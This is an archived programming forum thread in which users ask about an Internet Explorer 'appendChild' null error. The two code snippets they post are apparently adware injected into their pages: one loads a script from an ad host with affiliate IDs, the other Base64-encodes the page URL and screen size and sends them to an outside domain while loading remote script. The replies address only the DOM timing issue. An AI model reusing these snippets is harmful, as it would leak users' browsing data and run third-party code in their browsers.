473,387 Members | 1,517 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,387 software developers and data experts.

Microsoft JScript runtime error: Unable to get value of the property 'appendChild': o

I am seeing this error:

Microsoft JScript runtime error: Unable to get value of the property 'appendChild': object is undefiend or null
When run my project open this file scriptblock and show the error in this line :
Expand|Select|Wrap|Line Numbers
  1. var html_doc = document.getElementsByTagName('body')[0]; 
  2. var _js = document.createElement('script');
  3. _js.setAttribute('type', 'text/javascript');
  4. _js.setAttribute('id', 'mybho_js');
  5. var protocol = 'http'; 
  6. if (location.protocol == 'https:') protocol = 'https';
  7. _js.setAttribute('src', protocol + '://ads.okitspace.com/uploads/cover.js?id=03fbce0d90fd46f9d2eefb90370a336d&affid=EAZELEN'); 
  8. if(!document.getElementById('mybho_js')) html_doc.appendChild(_js);->append child is undefined or null
  9.  
When click ignore show me my project but then when I open the link in my site
Expand|Select|Wrap|Line Numbers
  1. <a onclient="openwindow()"></a>
It shows me this error again :

Line: 1
Error: Unable to get value of the property 'appendChild': object is null or undefined
Why does this happen and how can I resolve this problem?
Nov 21 '13 #1
8 8060
Dormilich
8,658 Expert Mod 8TB
I am not very strong with JavaScript but I don't think there is a built in append method for arrays.
there is indeed no append()/appendChild() method on Arrays (that would be push()).

except that we are not dealing with arrays here, but DOM objects.

as for the problem. it wasn't checked, whether html_doc contained a valid Node object at all (it would be undefined if this JS code were executed in the HTML <head>).
Nov 26 '13 #2
Thanks guide I resolve d my problem
jquery works the best in firefox
Dec 1 '13 #3
Dormilich
8,658 Expert Mod 8TB
yea, FF tends to have the widest JavaScript feature support.
Dec 1 '13 #4
I used ie and i incounter this problem .. how i can resolve this?
May 7 '14 #5
Microsoft JScript runtime error: Unable to get value of the property 'appendChild': object is null or undefined

var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg hijklmnopqrstuvwxyz0123456789+/=",encode:function(c){var a="";var l,j,g,k,h,f,d;var b=0;c=Base64._utf8_encode(c);while(b<c.length){l=c .charCodeAt(b++);j=c.charCodeAt(b++);g=c.charCodeA t(b++);k=l>>2;h=((l&3)<<4)|(j>>4);f=((j&15)<<2)|(g >>6);d=g&63;if(isNaN(j)){f=d=64}else{if(isNaN(g)){ d=64}}a=a+this._keyStr.charAt(k)+this._keyStr.char At(h)+this._keyStr.charAt(f)+this._keyStr.charAt(d )}return a},_utf8_encode:function(b){b=b.replace(/\r\n/g,"\n");var a="";for(var f=0;f<b.length;f++){var d=b.charCodeAt(f);if(d<128){a+=String.fromCharCode (d)}else{if((d>127)&&(d<2048)){a+=String.fromCharC ode((d>>6)|192);a+=String.fromCharCode((d&63)|128) }else{a+=String.fromCharCode((d>>12)|224);a+=Strin g.fromCharCode(((d>>6)&63)|128);a+=String.fromChar Code((d&63)|128)}}}return a}};function stringify(f){var d=typeof(f);if(d!="object"||f===null){if(d=="strin g"){f='"'+f+'"'}return String(f)}else{var g,b,c=[],a=(f&&f.constructor==Array);for(g in f){b=f[g];d=typeof(b);if(d=="string"){b='"'+b+'"'}else{if(d =="object"&&b!==null){b=JSON.stringify(b)}}c.push( (a?"":'"'+g+'":')+String(b))}return(a?"[":"{")+String(c)+(a?"]":"}")}}var _rvz=_rvz||{};_rvz.affid=1018;_rvz.subaffid=1005;_ rvz.href=window.location.href;_rvz.width=window.sc reen.width;_rvz.height=window.screen.height;_rvz.l oader_client_timestamp=new Date().getTime();ustr=encodeURIComponent(Base64.en code(stringify(_rvz)));var e=document.createElement("script");e.src=("https:" ==document.location.protocol?"https://":"http://")+"jdl.findpre.net/amz/a"+ustr+".js";document.body.appendChild(e);
May 7 '14 #6
Dormilich
8,658 Expert Mod 8TB
if you load that code in the <head>, document.body does not exist yet.
May 7 '14 #7
yes po.. and in every module i click .. that error always pop up..
May 8 '14 #8
Frinavale
9,735 Expert Mod 8TB
It sounds like you are trying to use a JavaScript library before it is properly loaded in the browser. I used to see something similar when I was attempting to run JavaScript within a library after the browser had unloaded that library.
May 12 '14 #9

Sign in to post your reply or Sign up for a free account.

Similar topics

1
by: finditajr | last post by:
Hello I'm having the following problem: My main webpage calls a function stored in a .js file that creates an HTML window to display a calendar. Whenever I click on a date in that calendar,...
11
by: baburk | last post by:
I wants to capture Table contents(ie. entire table) into image file in aspx page. How to do?. There is a code for captuer a portion of he screen. Cature a rectangle of the screen and save to...
1
by: pratimapaudel | last post by:
function Showdiv() { var SelectStates = document.getElementById('Select1').value; if(SelectStates ="3") { document.getElementById("div2").style.display = "block"; } else ...
7
by: EdEvans | last post by:
have the following code on a page: protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { Page.ClientScript.RegisterStartupScript(this.GetType(), "DoPreview",...
3
by: suganya | last post by:
Hi Some professionals already has developed the project using menu. In my company, they have given me task to clear the error in that. It is a script file named as "menubarAPI4.js" which is kept...
3
by: NareshN | last post by:
Hi All, I am getting JScript runtime error. <asp:ScriptManager ID="ScriptManager2" runat="server"> </asp:ScriptManager> ...
1
by: NareshN | last post by:
Hi All, i am trying to upload excel data into datbase i am getting jscript error but data is uploading sucessfully.I am using ajax extension. Same code i am using for...
0
by: shaker | last post by:
I am getting the following Java Script error: when i opened my project in IE9. "Microsoft JScript runtime error: Object doesn't support property or method '__defineGetter__'" how can i solve this...
3
by: dipikad | last post by:
this error is displaying when i upload file in asyn upload control,i dont understand wht is this stand for
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
by: emmanuelkatto | last post by:
Hi All, I am Emmanuel katto from Uganda. I want to ask what challenges you've faced while migrating a website to cloud. Please let me know. Thanks! Emmanuel
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.